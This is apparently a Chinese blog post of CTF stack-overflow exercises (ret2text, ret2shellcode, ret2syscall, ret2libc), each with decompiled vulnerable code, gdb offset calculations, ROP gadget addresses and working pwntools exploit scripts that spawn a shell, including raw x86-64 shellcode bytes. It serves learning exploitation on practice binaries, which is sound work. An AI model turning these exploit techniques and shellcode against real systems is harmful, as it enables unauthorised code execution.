zoukankan      html  css  js  c++  java
  • 栈溢出练习(1)

    具体原理参考:ctf-wiki

    测试文件:点击下载

    栈溢出

    原理

    栈溢出的基本前提是

    • 程序必须向栈上写入数据。
    • 写入的数据大小没有被良好地控制。

    例题

    源码:

    #include <stdio.h>
    #include <string.h>
    void success() { puts("You hack me."); }
    void vulnerable() {
      char s[12];
      gets(s);
      puts(s);
      return;
    }
    int main(int argc, char **argv) {
      vulnerable();
      return 0;
    }

    命令:

    gcc -m32 -fno-stack-protector -no-pie test.c -o test1

    -m32:编译为32位文件
    -fno-stack-protector:关闭堆栈溢出保护
    -no-pie:关闭地址随机化

    环境

    如果提示:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: 没有那个文件或目录
    下载支撑文件:sudo apt-get install gcc-multilib g+±multilib module-assistant

    分析

    检测文件:

    需要了解在32位程序中,调用函数的过程:
    函数返回地址入栈->EBP入栈->局部变量入栈(esp为局部变量申请的一段栈空间)

    我们需要将局部变量空间溢出,占用EBP空间,修改返回地址为success函数地址

    s为[ebp-14h],距离栈顶0x14字节



    success_addr = 0x08049172

    因此修改的payload=距离EBP大小+EBP大小+success地址

    exp

    from pwn import *
    
    p = process('./test1')
    success_addr=0x08049172
    payload = 'a'*0x14 +'bbbb'+p32(success_addr)
    print p32(success_addr)
    p.sendline(payload)
    p.interactive()

    常见存在栈溢出函数:

    • 输入
      • gets,直接读取一行,忽略’x00’
      • scanf
      • vscanf
    • 输出
      • sprintf
    • 字符串
      • strcpy,字符串复制,遇到’x00’停止
      • strcat,字符串拼接,遇到’x00’停止
      • bcopy

    ROP

    介绍

    ROP 攻击一般得满足如下条件

    • 程序存在溢出,并且可以控制返回地址。
    • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

    ret2text

    ret2text 即控制程序执行程序本身已有的的代码 (.text)。这时,我们需要知道对应返回的代码的位置。


    1.准备

    保护机制



    2.IDA查看源码

    在主函数中调用了gets,因此我们可以利用s的地址,ebp-add(s)+size(ebp)计算出填充大小。

     


    在secure函数发现执行了系统命令"/bin/sh",因此我们能够通过修改主函数返回地址为调用"/bin/sh"指令地址0x0804863a,来获取系统shell(权限)

     

    3.计算填充大小
    因为s的值是通过esp来索引,因此我们首先需要获取esp的值,在gets函数处下断点。



    esp=0xffffcf80
    addr(s)=esp+0x1C
    ebp=0xffffd008

    因此填充字符串payload = ‘a’*(ebp-(esp+0x1C)+4)+p32(0x0804863a)
    0xffffd008 - 0xffffcf80 - 0x1C + 4 = 112


    4.exp

    from pwn import *
    p = process('./ret2text')
    addr = 0x0804863a
    payload = 'a'*102+p32(addr)
    p.sendline(payload)
    p.interactive()

     

    ret2shellcode

    ret2shellcode,即控制程序执行 shellcode 代码。

    1.检测

    32位文件,可以对栈中数据读写,执行代码。


    2.代码分析
    IDA打开:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s; // [esp+1Ch] [ebp-64h]
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 1, 0);
      puts("No system for you this time !!!");
      gets(&s);
      strncpy(buf2, &s, 0x64u);
      printf("bye bye ~");
      return 0;
    }

    有gets函数,可以利用栈溢出,这里将获得的字符串复制到了buf2中。查看buf2

    bbs段即存储未初始化的静态变量和全局变量(记录变量所需空间大小)
    介绍:bbs段的理解


    查看这个段是否有执行shellcode命令的权限

    rwxp是可读写的(r-xp可读)

    因此我们能够利用gets溢出s修改函数返回地址到buf2
    计算填充大小:在gets下断点后,运行

    eax            0x20 0x20
    ecx            0xf7fad010   0xf7fad010
    edx            0x20 0x20
    ebx            0x0  0x0
    esp            0xffffcf70   0xffffcf70
    ebp            0xffffcff8   0xffffcff8
    esi            0xf7fab000   0xf7fab000
    edi            0xf7fab000   0xf7fab000
    eip            0x804858c    0x804858c <main+95>
    eflags         0x246    [ PF ZF IF ]
    cs             0x23 0x23
    ss             0x2b 0x2b
    ds             0x2b 0x2b
    es             0x2b 0x2b
    fs             0x0  0x0
    gs             0x63 0x63

    0xffffcff8 - 0xffffcf70 - 0x1C + 4 = 112


    3.exp

    from pwn import *
    
    p = process('./ret2shellcode')
    shellcode = asm(shellcraft.sh())
    addr_buf2 = 0x0804A080
    p.sendline(shellcode.ljust(112,'a')+p32(addr_buf2))
    p.interactive()

    sniperoj-pwn100-shellcode-x86-64

    1.准备

    获取信息:

    • 64位文件
    • 只开启了地址随机化

    2.代码分析

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      __int64 buf; // [rsp+0h] [rbp-10h]
      __int64 v5; // [rsp+8h] [rbp-8h]
    
      buf = 0LL;
      v5 = 0LL;
      setvbuf(_bss_start, 0LL, 1, 0LL);
      puts("Welcome to Sniperoj!");
      printf("Do your kown what is it : [%p] ?
    ", &buf, 0LL, 0LL);
      puts("Now give me your answer : ");
      read(0, &buf, 0x40uLL);
      return 0;
    }

    因此我们能够使用read来进行栈溢出,因为代码中已经动态的输出了buf的地址,因此随机化地址就没有作用了。

    在buf处下断点,确定距离返回地址的距离

    因为buf为[esp+0h],因此到EIP的字节数为EBP - ESP + size(EBP) = 0x7fffffffde20 - 0x7fffffffde10 + 8 = 24

    之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有24字节,因此并不适用,需要我们到 https://www.exploit-db.com/shellcodes 或者 http://shell-storm.org/shellcode/ 查询构造相应的shellcode,例如查到

    https://www.exploit-db.com/shellcodes/43550

    https://www.exploit-db.com/shellcodes/46907

    因为leave指令会释放栈空间,因此我们不能使用buf后面的24字节。

    3.exp

    # -*- coding:utf-8 -*-
    from
    pwn import * shellcode="x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"# 23字节的shellcode p = process('./sniperoj-pwn100-shellcode-x86-64') p.recvuntil('[') buf_addr = p.recvuntil(']',drop=True)# 获取buf的地址 print int(buf_addr,16) fillw_addr = int(buf_addr,16) + 24 + 8# 指向shellcode的地址 p.sendline(24*'a'+p64(fillw_addr)+shellcode) p.interactive()

     

    ret2syscall

    ret2syscall,即控制程序执行系统调用,获取 shell。常用是执行execve("/bin/sh",NULL,NULL)

    1.检测

    获取到信息:

    • 32位文件
    • 开启了NX

     这道题我们就不能执行shellcode了。使用IDA查看源码。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int v4; // [esp+1Ch] [ebp-64h]
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 1, 0);
      puts("This time, no system() and NO SHELLCODE!!!");
      puts("What do you plan to do?");
      gets(&v4);
      return 0;
    }

    2.分析

    很明显,我们能够利用gets进行栈溢出,利用gdb计算出需要填充的字节数为:0xffffd028 - 0xffffcfa0 - 0x1c + 4 = 112

    其次,我们需要程序去调用execve("/bin/sh",NULL,NULL),即使得

    • eax=系统调用号
    • ebx="/bin/sh"的地址
    • ecx=0
    • edx=0

    再执行int 0x80中断就能运行对应系统调用。

    系统调用号:https://www.cnblogs.com/Mayfly-nymph/p/12243003.html

    execve的系统调用号为:11

    接着,我们需要找到对应的gadgets来将对应参数放入寄存器中,因为参数是在栈中,因此我们需要pop指令来给寄存器赋(先将pop指令存入栈中,再将对应参数压入栈中,这样pop指令将会把高地址参数存入寄存器中)。

    pop eax

    使用 0x080bb196 : pop eax ; ret

    pop ebx;pop ecx;pop edx

    选择 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

    "/bin/sh"

    0x080be408 : /bin/sh

    int 0x80

    0x08049421 : int 0x80

    3.exp

    from pwn import *
    
    p = process('./rop')
    eax_ret = 0x080bb196
    edx_ecx_ebx_ret = 0x0806eb90
    bin_sh = 0x080be408
    int_0x80 = 0x08049421
    payload = flat(['a'*112,eax_ret,0xb,edx_ecx_ebx_ret,0,0,bin_sh,int_0x80])
    p.sendline(payload)
    p.interactive()

     pop 指令将会把高地址参数存入指定寄存器。ret指令执行下一条指令。

    ret2libc

    ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh")

    ret2libc1

    1.检查

    获取信息:

    • 32位文件
    • 开启NX

    IDA查看源码

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s; // [esp+1Ch] [ebp-64h]
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(_bss_start, 0, 1, 0);
      puts("RET2LIBC >_<");
      gets(&s);
      return 0;
    }

    2.分析

    依旧利用gets进行栈溢出,和上道相似,修改EIP为system("/bin/sh")的地址

    首先利用gdb计算填充字节大小:0xffffd008-0xffffcf80-0x1c+4

    接着,查找system("/bin/sh")的地址

    在IDA找到程序的system函数地址

    .plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

    3.exp

    from pwn import *
    
    p = process('./ret2libc1')
    bin_sh = 0x8048720
    sys_addr = 0x8048460
    payload = flat(['a'*112,sys_addr,'b'*4,bin_sh])
    p.sendline(payload)
    p.interactive()

    正常调用system函数有返回值,将'b'*4作为返回值

    ret2libc2

    1.检查

    获取信息:

    • 32位文件
    • NX开启

    IDA打开

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s; // [esp+1Ch] [ebp-64h]
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(_bss_start, 0, 1, 0);
      puts("Something surprise here, but I don't think it will work.");
      printf("What do you think ?");
      gets(&s);
      return 0;
    }

    2.分析

    可以利用gets进行栈溢出,还是先利用GDB计算一下填充字节数:0xffffd008 - 0xffffcf80 - 0x1c + 4 = 112

    程序中不存在"/bin/sh",但找到了system函数和gets函数

    .plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]

    .plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

    因此需要我们自己输入'/bin/sh',程序中没有eax,我们就用ebx来传递参数

    0x0804843d : pop ebx ; ret

    3.exp

    from pwn import *
    
    p = process('./ret2libc2')
    
    plt_gets = 0x8048460
    plt_sys = 0x8048490
    buf2_addr = 0x804a080
    pop_ebx_addr = 0x804843d
    
    payload = flat(['a'*112,plt_gets,pop_ebx_addr,buf2_addr,plt_sys,'b'*4,buf2_addr])
    p.sendline(payload)
    p.sendline('/bin/sh')
    p.interactive()

  • 相关阅读:
    mysql 约束条件 外键 forigen key 介绍
    【洛谷P4655】Building Bridges
    【CF1139D】Steps to One
    【YbtOJ#20073】钻石守卫
    【YbtOJ#20072】相似子串
    【YbtOJ#20071】礼物购买
    【洛谷P4149】Race
    【洛谷P2059】卡牌游戏
    【CF140C】New Year Snowmen
    【GMOJ4282】平方数游戏
  • 原文地址:https://www.cnblogs.com/Mayfly-nymph/p/12239445.html
Copyright © 2011-2022 走看看